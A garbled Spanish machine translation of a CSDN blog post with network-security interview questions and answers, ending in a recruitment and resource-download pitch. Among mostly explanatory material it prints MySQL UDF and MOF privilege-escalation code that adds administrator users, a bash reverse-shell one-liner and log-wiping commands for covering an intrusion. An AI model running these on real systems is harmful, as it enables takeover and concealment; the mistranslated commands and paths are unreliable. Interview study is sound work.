CSRF es un ataque de falsificación de solicitudes entre sitios, iniciado por el cliente, porque no hay confirmación de si el usuario inicia voluntariamente cuando se ejecuta la operación clave.

2. Defensa

Verificar Referer
agregar token

3. Haz una comparación horizontal entre el token y el referente, ¿quién tiene el nivel de seguridad más alto?

El nivel de seguridad del token es mayor, porque ningún servidor puede obtener el referente, y si salta de HTTPS a HTTP, el referente no será enviado. Y el árbitro se puede personalizar en algunas versiones de FLASH. Pero para el token, debe ser lo suficientemente aleatorio y no filtrable. (principio de imprevisibilidad)

4. ¿Desde qué punto de vista verificar el referente? Si es así, ¿cómo prevenir el problema?

Para la verificación del referente en el encabezado, uno es un referente vacío y el otro es un filtrado o detección de referente imperfecto. Para evitar este tipo de problemas, en la lista blanca de verificación, las reglas habituales deben estar bien escritas.

5. Para el token, ¿a qué aspecto se le prestará atención en la prueba del token y qué aspecto del token se probará?

Para citar una respuesta de una persona mayor:

El ataque al token, uno es el ataque a sí mismo, la prueba de repetición es única, se analizan las reglas de cifrado, si el método de verificación es correcto, etc., y el otro es su adquisición combinada con la fuga de información. Vulnerabilidad, combinada con el lanzamiento de un ataque combinado. Es
posible la fuga de información. Es caché, registro, obtención y también es posible utilizar sitios cruzados.
Muchos inicios de sesión de salto dependen de tokens. Hay una laguna de salto y un cruce reflectante. sitio que se puede combinar para el secuestro de inicio de sesión.
Además, los tokens también se pueden describir en combinación con otros servicios. ¿Cómo se puede evitar si la seguridad y el diseño no son buenos, como agarrar sobres rojos y similares?

11. SSRF

SSRF (falsificación de solicitudes del lado del servidor: falsificación de solicitudes del lado del servidor) es un agujero de seguridad construido por un atacante para generar una solicitud iniciada por el servidor. Normalmente, los ataques SSRF se dirigen a sistemas internos a los que no se puede acceder desde la red externa. (Debido a que lo inicia el servidor, puede solicitar el sistema interno conectado pero aislado de la red externa)

La mayoría de las razones para la formación de SSRF son que el servidor proporciona la función de obtener datos de otras aplicaciones del servidor sin filtrar ni restringir la dirección de destino. Por ejemplo, obtenga el contenido de texto de la página web de la dirección URL especificada, cargue la imagen en la dirección especificada, descárguela, etc.

1. Monitoreo

Método de verificación de la vulnerabilidad SSRF:

1) Debido a que la vulnerabilidad SSRF es una vulnerabilidad de seguridad que permite al servidor enviar solicitudes, podemos analizar si la solicitud enviada es enviada por el servidor capturando paquetes para determinar si existe una vulnerabilidad SSRF.

2) Encuentre la dirección del recurso accedido en el código fuente de la página. Si el tipo de dirección del recurso es www.baidu.com/xxx.php?image=(dirección), puede haber una vulnerabilidad SSRF 4 [1]

2. La defensa de la causa para evitar la vulnerabilidad de la SSRF

Causa: El servidor simulado realiza solicitudes a otros recursos del servidor sin verificación de legalidad. Explotación: cree una IP de intranet maliciosa para su detección o utilice otros protocolos compatibles para atacar otros servicios. Defensa: Prohibición de salto, restricción de protocolo, restricción de red interna y externa y restricción de URL. Omitir: use diferentes protocolos, omita IP, formato de IP, agregue otros caracteres para URL, URL maliciosa, @ y similares. Redirección 301 + reenlace DNS.

12. Subir

1. El principio de la vulnerabilidad de carga de archivos.

Debido a la falta de control o defectos de procesamiento en la parte de la carga del archivo del usuario por parte del programador, el usuario puede cargar el archivo de script dinámico ejecutable al servidor más allá de su propia autoridad.

2. Métodos comunes de omisión de carga

Verificación js frontal: deshabilite js/burp para cambiar paquete
, mayúsculas y minúsculas
, doble sufijo,
omisión de filtro pphphp->php

3. Protección

El directorio de carga de archivos está configurado como no ejecutable.
Utilice una lista blanca para determinar el tipo de carga de archivos.
Reescriba el nombre del archivo y la ruta con números aleatorios.

4. ¿Qué sentido tiene revisar los elementos del punto de subida?

La limitación del tipo de archivo cargado de algunos sitios se implementa en la interfaz y, en este momento, siempre que se aumente el tipo de carga, la limitación se puede romper.
Trece, el expediente contiene

1. Principio

Introduzca un script o código que pueda ser controlado por el usuario y permita que el servidor ejecute funciones como include() para importar los archivos que deben incluirse a través de variables dinámicas; el usuario puede controlar las variables dinámicas
.

2. La función que hace que el archivo contenga

PHP:include(), include_once(), require(), re-quire_once(), fopen(), readfile(),… JSP/Servlet:ava.io.File(), java.io.Fil-eReader() , … ASP: incluye archivo, incluye virtual,

3. El archivo local contiene

Las vulnerabilidades que pueden abrir e incluir archivos locales se conocen como vulnerabilidades de inclusión de archivos locales.

14. Lagunas lógicas

1. Lagunas lógicas comunes en la industria financiera

Solo para negocios financieros, se trata principalmente de manipulación de datos (que involucran datos financieros o datos de juicio de algunas empresas), condiciones de competencia o diseño inadecuado, filtración de información de transacciones/pedidos y visualización no autorizada u operación maliciosa de las cuentas de otras personas, la transacción o Se omite el paso comercial.

15. Ataque de intermediario

Un ataque de intermediario es un ataque de (falta de) autenticación mutua; una vulnerabilidad causada por la falta de autenticación mutua entre el cliente y el servidor durante el protocolo de enlace SSL.

Las soluciones para defenderse de los ataques de intermediario suelen basarse en las siguientes tecnologías

1. La infraestructura de clave pública PKI utiliza el mecanismo de autenticación mutua de PKI, el cliente verifica el servidor y el servidor verifica al cliente; en los dos ejemplos anteriores, solo se verifica el servidor, lo que provoca una laguna en el enlace de protocolo de enlace SSL, y si Se utiliza autenticación mutua Básicamente, autenticación mutua más sólida.

2. Prueba de latencia

Los cálculos que utilizan funciones hash criptográficas complejas producen retrasos de decenas de segundos; si ambas partes normalmente tardan 20 segundos en calcularse y toda la comunicación tarda 60 segundos en calcularse para llegar a la otra parte, esto podría indicar la presencia de un tercero intermediario. .

3. Utilice otras formas de intercambio de claves

Suplantación de ARP

principio

Cada host tiene una tabla de caché ARP, que registra la correspondencia entre las direcciones IP y las direcciones MAC, y la transmisión de datos LAN se basa en las direcciones MAC. Hay un defecto en el mecanismo de la tabla de caché ARP, es decir, cuando el host solicitante recibe el paquete de respuesta ARP, no verificará si ha enviado un paquete de solicitud ARP al otro host y comparará directamente la dirección IP en la devolución. paquete con la dirección MAC. La relación se almacena en la tabla de caché ARP. Si la correspondencia IP original es la misma, se reemplazará la original. De esta manera, el atacante tiene la posibilidad de espiar los datos transmitidos por el host
.

1. Vincule la dirección MAC y IP de la puerta de enlace al host como estática (el valor predeterminado es dinámico), comando: arp -s gateway IP gateway MAC

2. Vincule la dirección IP y MAC del host en la puerta de enlace

3. Utilice el cortafuegos ARP

Dieciséis, DDOS

1. Principio DDOS

Usar solicitudes razonables para provocar una sobrecarga de recursos, lo que resulta en la indisponibilidad del servicio.

El principio de syn torrent

Falsifique una gran cantidad de direcciones IP de origen y envíe una gran cantidad de paquetes SYN al servidor. En este momento, el servidor devolverá un paquete SYN/ACK. Debido a que la dirección de origen está falsificada, la IP falsificada no responderá y el El servidor no recibirá la falsificación. La respuesta IP se reintentará de 3 a 5 veces y esperará un SYNTime (normalmente de 30 segundos a 2 minutos). Si se agota el tiempo de espera, la conexión se descartará. Si el atacante envía una gran cantidad de solicitudes SYN con direcciones de origen falsificadas, el servidor consumirá muchos recursos (CPU y memoria) para procesar esta semiconexión y continuará reintentando SYN+ACK en estas IP. El resultado final es que el servidor no tiene tiempo para prestar atención a las solicitudes de conexión normales, lo que provoca una denegación de servicio.

Principio de ataque CC

Inicie continuamente solicitudes normales a algunas páginas de aplicaciones que consumen grandes recursos para lograr el propósito de consumir recursos del servidor.

2. Protección DOSS

SYN Cookie/SYN Proxy, reinicio seguro y otros algoritmos. La idea principal de SYN Cookie es asignar una "Cookie" a cada dirección IP y contar la frecuencia de visita de cada dirección IP. Si se recibe una gran cantidad de paquetes de datos de la misma dirección IP en un corto período de tiempo, se considera que está bajo ataque y luego los paquetes de esta dirección IP se descartarán.

17. Elevación de derechos

Dos formas de escalar privilegios en MySQL

escalada de privilegios udf, escalada de privilegios mof

Extracción MySQL_UDF

Requisitos: 1. El sistema de destino es Windows (Win2000, XP, Win2003); 2. Tener una cuenta de usuario de MYSQL, esta cuenta debe tener permisos de inserción y eliminación de MySQL para crear y descartar funciones 3. Tener una contraseña de cuenta raíz para exportar. udf: Para MYSQL 5.1 y superior, debe colocar el archivo udf.dll en la carpeta lib\plugin en el directorio de instalación de MYSQL para crear funciones personalizadas. Puede ingresar variables seleccionadas @@basedirshow como '%plugins%' en mysql para encontrar Escalada de privilegios en la ruta de instalación de MySQL:

Cree funciones funcionales utilizando declaraciones SQL. Sintaxis: Crear nombre de función de función (el nombre de función solo puede ser uno de la siguiente lista) devuelve la cadena soname 'ruta de DLL exportada';

create function cmdshell returns string soname ‘udf.dll’
select cmdshell(‘net user arsch arsch /add’);
select cmdshell(‘net localgroup administrators arsch /add’);

drop function cmdshell;

Este directorio no existe de forma predeterminada, por lo que debemos usar webshell para encontrar el directorio de instalación de MYSQL, crear una carpeta lib\plugin en el directorio de instalación y luego exportar el archivo udf.dll a este directorio.

MySQL mof escalada de privilegios

#pragma namespace("\\\\.\\root\\subscription")

instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name  = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};

instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user waitalone waitalone.cn /add\")";
};

instance of __FilterToConsumerBinding
{
Consumer   = $Consumer;
Filter = $EventFilter;
};

El comando en la línea 18, cámbielo usted mismo antes de cargarlo.

2. Ejecute load_file y dumpfile para exportar el archivo a la ubicación correcta.

seleccione cargar el archivo ('c:/wmpub/nullevt.mof') en el archivo de volcado 'c:/windows/system32/wbem/mof/nullevt.mov'

Una vez que la ejecución sea exitosa, puede agregar un usuario normal, luego puede cambiar el comando y luego cargar y exportar la ejecución para actualizar el usuario a privilegios de administrador, y luego la conexión 3389 estará bien.

18. Vulnerabilidades especiales

1. Puntales2-045

2.
Razón no autorizada de Redis

De forma predeterminada, Redis está vinculado a 0.0.0.0:6379, lo que expondrá el servicio de Redis a la red pública. Si la autenticación no está habilitada, cualquier usuario puede acceder al servidor de destino sin autorización. Redis y leer datos de Redis. Los atacantes pueden usar métodos relacionados de Redis sin autorización para acceder a Redis, y pueden escribir con éxito la clave pública en el servidor de Redis y luego usar la clave privada correspondiente para iniciar sesión directamente en el servidor de destino Condiciones y métodos de utilización
Condiciones
:

a. El servicio Redis se ejecuta como cuenta raíz
b. Redis no tiene contraseña o tiene una contraseña débil para la autenticación
c. Redis escucha en la red pública 0.0.0.0
Método:

a. A través del comando INFO de Redis, puede ver los parámetros relacionados con el servidor y la información confidencial, allanando el camino para la posterior infiltración del atacante b. Cargue la clave pública SSH
para obtener permiso de inicio de sesión SSH
c. Invierta el shell a través de crontab
d. Usar modo esclavo maestro-esclavo
Reparación

Verificación de contraseña
Ejecutar con derechos reducidos
Restringir ip/modificar puerto

3. Acceso no autorizado a Jenkins

4. Acceso no autorizado a MongoDB

El atacante ingresa a la interfaz de ejecución del comando del script a través de un acceso no autorizado para ejecutar el comando de ataque.

println "ifconfig -a".execute().text Ejecute algunos comandos del sistema, use wget para descargar webshell

Cuando no se agregan parámetros cuando se inicia el servicio MongoDB, no hay verificación de permisos de forma predeterminada y se puede acceder a la base de datos de forma remota. Los usuarios que inician sesión pueden realizar cualquier operación de alto riesgo, como agregar, eliminar, modificar y verificar el base de datos a través del puerto predeterminado sin contraseña.
proteccion

Agregue autenticación para MongoDB: 1) Agregue el parámetro –auth cuando se inicie MongoDB 2) Agregue usuarios a MongoDB: use admin #Use la biblioteca de administración db.addUser("root", "123456") #Agregue la base de datos del usuario con la contraseña de usuario raíz 123456. auth ("root", "123456") #Verifique si la adición fue exitosa, devuelva 1 para indicar éxito 2. Deshabilite los puertos HTTP y REST. MongoDB tiene un servicio HTTP y admite interfaces REST. Estas interfaces están deshabilitadas de forma predeterminada después de 2.6. De forma predeterminada, mongoDB utilizará el puerto predeterminado para escuchar los servicios web, generalmente no se requiere administración remota a través de la web y se recomienda deshabilitarla. Modifique el archivo de configuración o seleccione el parámetro –nohttpinterface nohttpinterface=false al inicio 3. Limite la IP de enlace Agregue el parámetro –bind_ip 127.0.0.1 al inicio o agregue el siguiente contenido en el archivo /etc/mongodb.conf: bind_ip = 127.0.0.1

5. Acceso no autorizado a Memcache

Memcached es un sistema de almacenamiento en caché de valores clave de uso común. Dado que no tiene un módulo de control de permisos, los atacantes pueden encontrar fácilmente el servicio Memcache abierto a la red pública. Los atacantes pueden leer directamente información confidencial en Memcached a través de la interacción de comandos.
usar

a. Inicie sesión en la máquina y ejecute el comando netstat -an |more para verificar el estado de monitoreo del puerto. El eco 0.0.0.0:11211 indica que el monitoreo se realiza en todas las tarjetas de red y existe una vulnerabilidad de acceso no autorizado a memcached.

b.telnet 11211, o nc -vv 11211, si la conexión es exitosa, significa que hay una vulnerabilidad
.

a. Configure memchached para permitir solo el acceso local b. Prohíba el acceso a la red externa al puerto 11211 de Memcached c. Agregue --enable-sasl al compilar para habilitar la autenticación SASL

6.
El principio de leer archivos locales FFMPEG

Cifre la carga útil en un byte de segmento que se ejecutará llamando a la API de cifrado. Pero en el proyecto de respuesta específico, solo respondí el agujero antiguo de SSRF, el encabezado m3u8, el desplazamiento y el cifrado.

19. Conocimiento de seguridad

1 、 WEB

Marco JAVA común de desarrollo WEB

Vulnerabilidades comunes del framework java de STRUTS y SPRING De hecho, cuando el entrevistador hizo esta pregunta, no sabía qué iba a preguntar, mencioné 045 048 de struts, deserialización común de Java. 045 El manejo de errores introduce expresiones ognl 048 En el proceso de encapsulación de acciones, hay un paso de llamar a getstackvalue para obtener recursivamente los objetos de operación de deserialización de expresiones ognl e introducirlos por medio. El mecanismo de reflexión de Apache Common y la reescritura de ReadObject, de hecho, no recuerdo los detalles. . . Entonces esta parte ha terminado

Política del mismo origen

La política del mismo origen impide que diferentes fuentes lean o establezcan el contenido de atributos del documento actual. Distinguir entre diferentes fuentes: protocolo, nombre de dominio, nombre de subdominio, IP, puerto, cuando los anteriores son diferentes, son fuentes diferentes.

Tecnología de defensa y ataque de seguridad Jsonp, cómo escribir una página de ataque Jsonp

Contenido de defensa y ataque de seguridad relacionado con Jsonp

Secuestro de JSON, se puede definir devolución de llamada, se puede definir contenido JSONP y el tipo de contenido no es json.

página de ataque

Secuestro de JSON, secuestro de información confidencial entre dominios, la página es similar a

función wooyun(v){ alerta(v.nombre de usuario); }

Cuando el tipo de contenido es incorrecto, se puede definir el contenido JSONP y de devolución de llamada para provocar XSS. Para JSONP, FLASH y otras aplicaciones, consulte la tecnología de defensa y ataque de seguridad JSONP de Chuangyu.

2、PHP

Funciones involucradas en la ejecución de comandos en php

Ejemplos de uso: eval(),assert(),popen(),system(),exec(),shell_exec(),passthru(),pcntl_exec(),call_user_func_array(),create_function()

Referencias: file_get_contents(),highlight_file(),fopen(),read file(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()等

Ejecución de comandos: system(), exec(), shell_exec(), passthru(), pcntl_exec(), popen(), proc_open()
omiten la función de desactivación de php en modo seguro

Funciones DL, vulnerabilidades de componentes, variables de entorno.
PHP tipeo débil

== Al comparar, primero convertirá el tipo de cadena en el mismo y luego comparará

Si se compara un número con una cadena o se compara una cadena que involucra contenido numérico, la cadena se convierte en un número y la comparación se realiza como un número.

Una cadena que comienza con 0e es igual a 0

3. Base de datos

Donde se almacenan varios archivos de bases de datos

mysql:
/usr/local/mysql/data/
C:\ProgramData\MySQL\MySQL Server 5.6\Data
oracle: ORACLE _ BASE / oradata / ORACLE\_BASE/oradata/OR A C L E _ BASE / o a d a t a / ORACLE_SID / _

4. Sistema

Cómo limpiar registros

meterpreter:
¿Qué registros deben borrarse después de que clearev invade el servidor Linux?

Registros web, como access.log y error.log de Apache. Es demasiado obvio borrar el registro directamente y, en general, usar sed para el borrado direccional.

por ejemplo, sed -i -e '/192.169.1.1/d'

La limpieza del comando de historial también es una limpieza dirigida de ~/.bash_history

Borrado de registros de wtmp, /var/log/wtmp

¿Cuáles son los comandos para borrar el registro de inicio de sesión /var/log/secure
LINUX
para verificar la conexión del puerto actual? Diferencias y ventajas y desventajas de los comandos netstat y ss

netstat-antp ss-l

La ventaja de ss es que puede mostrar información cada vez más detallada sobre TCP y el estado de la conexión, y es más rápido y eficiente que netstat.
¿Comandos comunes para shell inverso? ¿Qué tipo de proyectil suele rebotar? ¿Por qué?

bash -i>&/dev/tcp/xxxx/4444 0>&1

¿Qué información se puede obtener a través del directorio /proc del sistema Linux y en qué aplicaciones se puede utilizar esta información por motivos de seguridad?

ls /proc

Información del sistema, información de hardware, versión del kernel, módulos cargados y procesos.
En el sistema Linux, qué elementos de configuración de los archivos de configuración se detectan pueden mejorar la seguridad de SSH.

/etc/ssh/sshd___configiptables configuración
Cómo ver las últimas 100 líneas de contenido de archivo con un comando

cola -n 100 nombre de archivo

¿Cómo refuerza Windows
el entorno de trabajo de escritorio de Windows en un entorno de dominio? Por favor danos tu opinión.

5. Criptografía

Los pasos de trabajo específicos del
algoritmo AES/DES RSA

Cifrado:
texto cifrado = texto sin formato ^ EmodN

El cifrado RSA es el proceso de dividir la potencia E del texto sin formato por N y encontrar el resto
Clave pública = (E, N)

Descifrado:
texto plano=texto cifrado^clave privada DmodN=(D,N)

Tres parámetros n, e1, e2

n es la integral de dos números primos grandes p, q
Modo de cifrado del cifrado en bloque
¿Cómo generar un número aleatorio seguro?

Citando la respuesta de un estudiante de último año, se pueden generar números aleatorios a través de algunos sistemas físicos, como las fluctuaciones de voltaje, el tiempo de búsqueda de los cabezales de los discos al leer/escribir y el ruido de las ondas electromagnéticas en el aire.
Proceso de protocolo de enlace SSL

Establezca una conexión TCP, el cliente envía una solicitud SSL, el servidor procesa la solicitud SSL, el cliente envía los datos aleatorios cifrados con la clave pública, el servidor descifra los datos aleatorios cifrados con la clave privada y negocia la contraseña, el servidor y el cliente utiliza El cifrado genera el algoritmo de cifrado y la clave, y luego se comunica normalmente. Esta parte se olvidó originalmente, pero cuando vi SSL Pinning antes, me pareció recordar una imagen en mi mente. Después de luchar durante mucho tiempo, todavía no estaba seguro, así que me di por vencido. . .
¿Cuáles son las diferencias entre cifrado simétrico y cifrado asimétrico?

6、TCP/IP

El proceso del protocolo de enlace de tres vías de TCP y la transición de estado correspondiente

(1) El cliente envía un paquete SYN al servidor, incluido el número de puerto utilizado por el cliente y el número de serie inicial x; (2) Después de recibir el paquete
SYN enviado por el cliente, el servidor envía un SYN y ACK al cliente El mensaje TCP con ambos bits configurados incluye el número de confirmación xx1 y el número de secuencia inicial y del servidor;
(3) Después de recibir el mensaje SYNSACK devuelto por el servidor, el cliente devuelve un número de confirmación yy1 y un número de secuencia xx1 al servidor. Mensaje ACK, se completa una conexión TCP estándar.
La diferencia entre los protocolos TCP y UDP

tcp está orientado a la conexión, udp está orientado a mensajes y tcp tiene muchos requisitos para
los recursos del sistema

a. El cliente envía una solicitud al servidor.
b. El servidor devuelve el certificado y la clave pública. La clave pública existe como parte del certificado.
c. El cliente verifica la validez del certificado y la clave pública. Si es válido, un se genera el secreto compartido. Clave y usa la clave pública para cifrar y enviar al servidor
d, el servidor usa la clave privada para descifrar los datos y usa la clave compartida recibida para cifrar los datos y los envía al cliente e
, el cliente utiliza la clave compartida para descifrar los datos
f, compilación de cifrado SSL

7. Análisis de tráfico

Reglas de filtrado simples de Wireshark

filtro ip:

Dirección IP de origen del filtro: ip.src1.1.1.1; dirección IP de destino: ip.dst1.1.1.1;

Puerto de filtro:

Puerto de filtro 80: tcp.port80, puerto de origen: tcp.srcport80, puerto de destino: tcp.dstport==80

Filtrado de protocolos:

Simplemente ingrese el nombre del protocolo directamente, como el protocolo http http

filtrado de patrones http:

Filtrar paquete get/post http.request.mothod=="GET/POST"

8. Cortafuegos

Describa brevemente varios elementos de refuerzo de configuración básica comúnmente utilizados en dispositivos de red como enrutadores, conmutadores y firewalls, así como los métodos de configuración.

Los socios que necesiten un conjunto completo de versiones en PDF pueden enviar [solicitar compartir] en el área de comentarios y las enviaré una por una.

Digresión

Muchas personas que son nuevas en la industria informática o graduados de carreras relacionadas con la informática han encontrado obstáculos en todas partes debido a la falta de experiencia práctica. Veamos dos conjuntos de datos:

  • Se espera que en 2023 los graduados universitarios nacionales alcancen los 11,58 millones y la situación laboral es grave;

  • Según los datos publicados por la Semana Nacional de Publicidad sobre Seguridad de Redes, para 2027, la escasez de personal de seguridad de redes en mi país alcanzará los 3,27 millones.

Por un lado, la situación laboral de los recién graduados es grave cada año y, por otro, existe una brecha de un millón de talentos en ciberseguridad.

El 9 de junio, se publicó oficialmente la edición de 2023 del Libro Azul de Empleo de MyCOS Research (incluido el Informe de empleo de 2023 para estudiantes universitarios en China y el Informe de empleo para estudiantes de formación profesional superior en China en 2023).

Las 10 especialidades principales con salario mensual más alto para los graduados universitarios de 2022

Los ingresos mensuales de los estudiantes universitarios en ciencias de la computación y de los estudiantes universitarios en automatización vocacional son relativamente altos. El ingreso mensual de la promoción de 2022 de licenciatura en informática y carreras superiores de automatización vocacional es de 6.863 yuanes y 5.339 yuanes, respectivamente. Entre ellos, el salario inicial de los estudiantes universitarios en informática es básicamente el mismo que el de la generación de 2021, y los ingresos mensuales de los estudiantes de automatización vocacional superior han aumentado significativamente. La generación de 2022 de estudiantes de transporte ferroviario que adelantaron (5295 yuanes) ocupa el primer lugar.

En concreto, dependiendo de la especialidad, la especialidad con mayores ingresos mensuales para los estudiantes universitarios en 2022 es la seguridad de la información (7579 yuanes). En comparación con la promoción de 2018, las carreras universitarias relacionadas con la inteligencia artificial, como la ciencia y la tecnología electrónicas, la automatización, etc., obtuvieron buenos resultados y sus salarios iniciales aumentaron un 19% en comparación con hace cinco años. Aunque la ciencia de datos y la tecnología de big data son carreras nuevas en los últimos años, han tenido un buen desempeño y se han clasificado entre las tres carreras principales con mayores ingresos mensuales medio año después de graduarse para la generación de estudiantes universitarios de 2022. La única carrera de humanidades y ciencias sociales que entró en la lista de las 10 universidades mejor pagadas hace cinco años, la francesa ha abandonado el top 10.

"No hay seguridad nacional sin ciberseguridad". En la actualidad, la seguridad de la red ha sido elevada a la cima de la estrategia nacional y se ha convertido en uno de los factores más importantes que afectan la seguridad nacional y la estabilidad social.

Características de la industria de la seguridad de redes.

1. El salario laboral es muy alto y el salario aumenta rápidamente. En 2021, Liepin.com publicó el salario laboral más alto en la industria de la seguridad de redes, ¡que es de 337.700 yuanes per cápita!

2. Existe una gran brecha de talento y muchas oportunidades de empleo

El 18 de septiembre de 2019, el sitio web oficial del "Gobierno Popular Central de la República Popular China" publicó: Mi país necesita 1,4 millones de talentos en seguridad ciberespacial, pero las escuelas de todo el país capacitan a menos de 1,5 millones de personas cada año. El "Informe de seguridad cibernética para el primer semestre de 2021" de Liepin.com predice que la demanda de talentos en seguridad cibernética será de 3 millones en 2027, y actualmente solo hay 100.000 empleados dedicados a la industria de la seguridad cibernética.

La industria tiene mucho margen de desarrollo y muchos puestos de trabajo.

Desde el establecimiento de la industria de seguridad de redes, se han agregado docenas de nuevos puestos en la industria de seguridad de redes: expertos en seguridad de redes, analistas de seguridad de redes, consultores de seguridad, ingenieros de seguridad de redes, arquitectos de seguridad, ingenieros de operación y mantenimiento de seguridad, ingenieros de penetración, gestión de seguridad de la información. Ingeniero de seguridad de datos, Ingeniero de operaciones de seguridad de redes, Ingeniero de respuesta a emergencias de seguridad de redes, Tasador de datos, Gerente de productos de seguridad de redes, Ingeniero de servicios de seguridad de redes, Entrenador de seguridad de redes, Auditor de seguridad de redes, Ingeniero de análisis de inteligencia de amenazas, Profesional de recuperación de desastres, Ofensiva y defensiva de combate real profesionales...

Gran potencial profesional

La especialización en seguridad de redes tiene sólidas características técnicas, especialmente el dominio de la arquitectura de red central y la tecnología de seguridad en el trabajo, lo que tiene una ventaja competitiva insustituible en el desarrollo profesional.

Con la mejora continua de la capacidad personal, el valor profesional del trabajo también aumentará con el enriquecimiento de la propia experiencia y la madurez de la operación del proyecto, y el espacio de apreciación es alcista en todos los sentidos, que es la razón principal por la que es popular. con todos.

Hasta cierto punto, en el campo de la seguridad de redes, al igual que los médicos, cuanto mayor es, más popular se vuelve. Debido a que la tecnología se vuelve más madura, el trabajo naturalmente será valorado y los ascensos y aumentos salariales son algo natural. .

Cómo aprender piratería y ciberseguridad

Hoy, siempre que apruebes mi artículo, compartiré contigo mi colección privada de materiales de aprendizaje de seguridad en línea de forma gratuita, así que veamos qué hay allí.

1. Hoja de ruta de aprendizaje

También hay muchas cosas que aprender en ataque y defensa. He escrito todas las cosas específicas para aprender en la hoja de ruta anterior. Si puedes aprenderlas, no tendrás problemas para conseguir un trabajo o aceptar trabajos privados.

2. Vídeotutorial

Aunque hay muchos recursos de aprendizaje en Internet, básicamente están incompletos. Este es un video tutorial sobre seguridad cibernética grabado por mí mismo. Tengo una explicación en video de respaldo para cada punto de conocimiento en la hoja de ruta anterior.

El contenido cubre el estudio de la ley de seguridad de la red, el funcionamiento de la seguridad de la red y otras evaluaciones de garantías, conceptos básicos de las pruebas de penetración, explicación detallada de las vulnerabilidades, conocimientos informáticos básicos, etc., todos los cuales son contenidos de aprendizaje que se deben conocer al comenzar con la seguridad de la red.

(Está todo empaquetado en una sola pieza y no se puede desplegar uno por uno. Hay más de 300 episodios en total)

Debido al espacio limitado, solo se muestra parte de la información, debe hacer clic en el enlace a continuación para obtenerla.

Juerga de CSDN: intercambio gratuito de "Introducción a la seguridad de redes y piratas informáticos y paquete de recursos de aprendizaje avanzado"

3. Documentos técnicos y libros electrónicos.

Los documentos técnicos también los compilé yo mismo, incluida mi experiencia y puntos técnicos de participación en operaciones de seguridad de red a gran escala, minería de vulnerabilidades CTF y SRC. También hay más de 200 libros electrónicos. Debido a la sensibilidad del contenido, No los mostraré uno por uno.

Debido al espacio limitado, solo se muestra parte de la información, debe hacer clic en el enlace a continuación para obtenerla.

Juerga de CSDN: intercambio gratuito de "Introducción a la seguridad de redes y piratas informáticos y paquete de recursos de aprendizaje avanzado"

4. Kit de herramientas, preguntas de la entrevista y código fuente.

"Si quieres hacer un buen trabajo, primero debes perfeccionar tus herramientas." He resumido docenas de las herramientas de piratería más populares para todos. El alcance de la cobertura se centra principalmente en la recopilación de información, herramientas de piratería de Android, herramientas de automatización, phishing, etc. Los estudiantes interesados ​​no deben perdérselo.

También está el código fuente del caso y el conjunto de herramientas correspondiente mencionado en mi vídeo, que se pueden retirar si es necesario.

Debido al espacio limitado, solo se muestra parte de la información, debe hacer clic en el enlace a continuación para obtenerla.

Juerga de CSDN: intercambio gratuito de "Introducción a la seguridad de redes y piratas informáticos y paquete de recursos de aprendizaje avanzado"

Finalmente, hay preguntas de entrevistas sobre seguridad en Internet que he resuelto en los últimos años. Si está buscando trabajo en seguridad en Internet, definitivamente lo ayudarán mucho.

Estas preguntas se encuentran a menudo durante entrevistas con Sangfor, Qi Anxin, Tencent u otras empresas importantes. Si tiene buenas preguntas o buenas ideas, compártalas.

Análisis de referencia: sitio web oficial de Sangfor, sitio web oficial de Qi Anxin, Freebuf, csdn, etc.

Características del contenido: organización clara, incluida representación gráfica, que sea más fácil de entender.

Resumen de contenido: incluye intranet, sistema operativo, protocolo, prueba de penetración, servicio de seguridad, vulnerabilidad, inyección, XSS, CSRF, SSRF, carga de archivos, descarga de archivos, inclusión de archivos, XXE, vulnerabilidad lógica, herramienta, SQLmap, NMAP, BP, MSF…

Debido al espacio limitado, solo se muestra parte de la información, debe hacer clic en el enlace a continuación para obtenerla.

Juerga de CSDN: intercambio gratuito de "Introducción a la seguridad de redes y piratas informáticos y paquete de recursos de aprendizaje avanzado"

Supongo que te gusta

Origin blog.csdn.net/Python_0011/article/details/132364469
Recomendado
Clasificación